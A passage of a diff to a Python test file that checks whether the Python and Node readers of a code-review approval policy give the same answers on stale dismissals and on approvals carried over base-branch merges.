"docs/gone.md"])), _ALL]), + "no trees read": (_REPLAY_THEN, _REPLAY_NOW, _IN_BASE, _brought([_BASE_DOC, _SHARED_BASE]), _REPLAY_BASE, None, None), } # fmt: skip @@ -1115,42 +1233,75 @@ def test_both_readers_carry_the_same_lifts(self) -> None: "--input-type=module", "-e", NODE_CARRY % json.dumps(MODULE.as_uri()), - json.dumps( - [list(LIFT_CASES.values()), list(CARRY_CASES.values()), _OLD] - ), ], + input=json.dumps( + [list(LIFT_CASES.values()), list(CARRY_CASES.values()), _OLD] + ), capture_output=True, text=True, check=True, ) lifts, carries = json.loads(proc.stdout) - for (name, reviews), js in zip(LIFT_CASES.items(), lifts, strict=True): + for (name, (reviews, events)), js in zip(LIFT_CASES.items(), lifts, strict=True): with self.subTest(name): self.assertEqual( - [list(x) for x in policy.lifts_of(reviews, {1, 3})], js + [ + list(x) + for x in policy.lifts_of( + reviews, {1, 3}, policy.auto_dismissed(events) + ) + ], + js, ) - for (name, (then, now, in_base)), js in zip( + for (name, (then, now, in_base, merges, based, dismissal, trees)), js in zip( CARRY_CASES.items(), carries, strict=True ): with self.subTest(name): self.assertEqual( - policy.base_merge_carry(then, now, _OLD, set(in_base)), js + [ + policy.base_merge_carry(then, now, _OLD, set(in_base)), + policy.approval_carry( + then, now, _OLD, set(in_base), merges, based, dismissal, trees + ), + ], + js, ) # The rule's answers: a trusted person's newest review approves a - # commit (a dismissed approval never counts); it carries over merges of - # base commits alone that leave the whole net change the same. + # commit, or is an approval GitHub dismissed as stale (with its + # dismissal commit); it carries over merges of base commits alone that + # leave the whole net change the same (both carries), or that brought + # exactly the base's changes (the approval carry alone), and a stale + # dismissal must be by a commit the merges pushed. self.assertEqual( dict(zip(LIFT_CASES, lifts, strict=True)), dict.fromkeys(LIFT_CASES, []) | { - "an approval of an earlier head": [["u1", _OLD]], - "a comment after an approval": [["u1", _OLD]], - "two people": [["u1", _OLD], ["u3", _HEAD]], + "an approval of an earlier head": [["u1", _OLD, None]], + "a comment after an approval": [["u1", _OLD, None]], + "two people": [["u1", _OLD, None], ["u3", _HEAD, None]], + "an approval GitHub dismissed as stale": [["u1", _OLD, _HEAD]], + "a review id read as a string": [["u1", _OLD, _HEAD]], + }, + ) + answers = dict(zip(CARRY_CASES, carries, strict=True)) + self.assertEqual( + {name for name, (cost, _) in answers.items() if cost}, + { + "a base merge", + "a base merge with a non-hold file unchanged", + "a base that did not move", }, ) self.assertEqual( - {name for name, js in zip(CARRY_CASES, carries, strict=True) if js}, - {"a base merge", "a base merge with a non-hold file unchanged"}, + {name for name, (_, approval) in answers.items() if approval}, + { + "a base merge", + "a base merge with a non-hold file unchanged", + "a base that did not move", + "#10224's shape", + "#10224's shape, dismissed as stale on the merge's push", + "a removed base file in neither tree", + }, )